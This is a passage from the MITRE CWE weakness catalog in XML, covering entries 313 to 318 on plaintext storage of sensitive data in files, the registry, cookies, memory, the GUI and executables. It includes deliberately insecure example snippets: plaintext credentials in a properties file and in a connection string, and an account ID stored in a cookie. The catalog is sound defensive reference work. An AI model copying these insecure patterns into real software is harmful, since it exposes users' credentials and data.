					          <Mapped_Node_Name>Plaintext Storage of Sensitive Information</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>169</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>37</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Plaintext Storage of
						Sensitive Information</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="313" Name="Plaintext Storage in a File or on Disk" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Storing sensitive data in plaintext in a file, or on disk,
					makes the data more easily accessible than if encrypted. This significantly
					lowers the difficulty of exploitation by attackers.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>312</Relationship_Target_ID>
					          <!--Cleartext Storage of Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Secret information should not be stored in plaintext in a file or
							disk. Even if heavy fortifications are in place, sensitive data should
							be encrypted to prevent the risk of losing confidentiality.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-43">
					          <Intro_Text>The following examples show a portion of properties and
						configuration files for Java and ASP.NET applications. The files include
						username and password information but they are stored in
						plaintext.</Intro_Text>
					          <Example_Body>
						            <Text>This Java example shows a properties file with a plaintext username /
							password pair.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment># Java Web App ResourceBundle properties file</Comment>
							              <Code>...</Code>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following example shows a portion of a configuration file for an
							ASP.Net application. This configuration file includes username and
							password information for a connection to a database but the pair is
							stored in plaintext.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=password; dbalias=uDB;"
								providerName="System.Data.Odbc" /&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Username and password information should not be included in a
							configuration file or a properties file in plaintext as this will allow
							anyone who can read the file access to the resource. If possible,
							encrypt this information and avoid CWE-260 and CWE-13</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1481</Observed_Example_Reference>
					          <Observed_Example_Description>Plaintext credentials in world-readable
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1828</Observed_Example_Reference>
					          <Observed_Example_Description>Password in cleartext in config
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2209</Observed_Example_Reference>
					          <Observed_Example_Description>Password in cleartext in config
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1696</Observed_Example_Reference>
					          <Observed_Example_Description>Decrypted copy of a message written to disk given
						a combination of options and when user replies to an encrypted
						message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2397</Observed_Example_Reference>
					          <Observed_Example_Description>Plaintext storage of private key and passphrase in
						log file when user imports the key.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Plaintext Storage in File or on Disk</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Plaintext Storage in File or
						on Disk</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="314" Name="Plaintext Storage in the Registry" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Storing sensitive data in plaintext in the registry makes the
					data more easily accessible than if encrypted. This significantly lowers the
					difficulty of exploitation by attackers.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>312</Relationship_Target_ID>
					          <!--Cleartext Storage of Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Sensitive information should not be stored in plaintext in a registry.
							Even if heavy fortifications are in place, sensitive data should be
							encrypted to prevent the risk of losing confidentiality.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2227</Observed_Example_Reference>
					          <Observed_Example_Description>Plaintext passwords in registry
						key.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Plaintext Storage in Registry</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>37</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Plaintext Storage in
						Registry</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="315" Name="Plaintext Storage in a Cookie" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Storing sensitive data in plaintext in a cookie makes the data
					more easily accessible than if encrypted. This significantly lowers the
					difficulty of exploitation by attackers.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>312</Relationship_Target_ID>
					          <!--Cleartext Storage of Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Sensitive information should not be stored in plaintext in a cookie.
							Even if heavy fortifications are in place, sensitive data should be
							encrypted to prevent the risk of losing confidentiality.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-44">
					          <Intro_Text>The following code excerpt stores a plaintext user account ID in a
						browser cookie.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>response.addCookie( new Cookie("userAccountID", acctID);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1800</Observed_Example_Reference>
					          <Observed_Example_Description>Admin password in plaintext in a
						cookie.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1537</Observed_Example_Reference>
					          <Observed_Example_Description>Default configuration has cleartext
						usernames/passwords in cookie.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1536</Observed_Example_Reference>
					          <Observed_Example_Description>Usernames/passwords in cleartext in
						cookies.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2160</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication information stored in cleartext in
						a cookie.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Plaintext Storage in Cookie</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>37</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>39</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>74</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Plaintext Storage in
						Cookie</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="316" Name="Plaintext Storage in Memory" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Storing sensitive data in plaintext in memory makes the data
					more easily accessible than if encrypted. This significantly lowers the
					difficulty of exploitation by attackers.</Description_Summary>
				        <Extended_Description>
					          <Text>The sensitive memory might be saved to disk, stored in a core dump, or
						remain uncleared if the application crashes, or if the programmer does not
						clear the memory before freeing it.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>312</Relationship_Target_ID>
					          <!--Cleartext Storage of Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This could be a resultant weakness, e.g. if the compiler removes code that
						was intended to wipe memory.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>It could be argued that such problems are usually only exploitable by
						those with administrator privileges. However, swapping could cause the
						memory to be written to disk and leave it accessible to physical attack
						afterwards.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Sensitive information should not be stored in plaintext in memory.
							Even if heavy fortifications are in place, sensitive data should be
							encrypted to prevent the risk of losing confidentiality.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1517</Observed_Example_Reference>
					          <Observed_Example_Description>Sensitive authentication information in cleartext
						in memory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>BID:10155</Observed_Example_Reference>
					          <Observed_Example_Description>Sensitive authentication information in cleartext
						in memory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0984</Observed_Example_Reference>
					          <Observed_Example_Description>Password protector leaves passwords in memory when
						window is minimized, even when "clear password when minimized" is
						set.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0291</Observed_Example_Reference>
					          <Observed_Example_Description>SSH client does not clear credentials from
						memory.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Plaintext Storage in Memory</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="317" Name="Plaintext Storage in GUI" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Storing sensitive data in plaintext within the GUI makes the
					data more easily accessible than if encrypted. This significantly lowers the
					difficulty of exploitation by attackers.</Description_Summary>
				        <Extended_Description>
					          <Text>An attacker can often obtain data from a GUI, even if hidden, by using an
						API to directly access GUI objects such as windows and menus.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>312</Relationship_Target_ID>
					          <!--Cleartext Storage of Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Prevalence="Sometimes" Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Sensitive information should not be stored in plaintext in a GUI. Even
							if heavy fortifications are in place, sensitive data should be encrypted
							to prevent the risk of losing confidentiality.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1848</Observed_Example_Reference>
					          <Observed_Example_Description>Unencrypted passwords stored in GUI dialog may
						allow local users to access the passwords.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Plaintext Storage in GUI</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="318" Name="Plaintext Storage in Executable" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Sensitive information should not be stored in plaintext in an
					executable. Attackers can reverse engineer a binary code to obtain secret
					data.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>312</Relationship_Target_ID>
					          <!--Cleartext Storage of Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
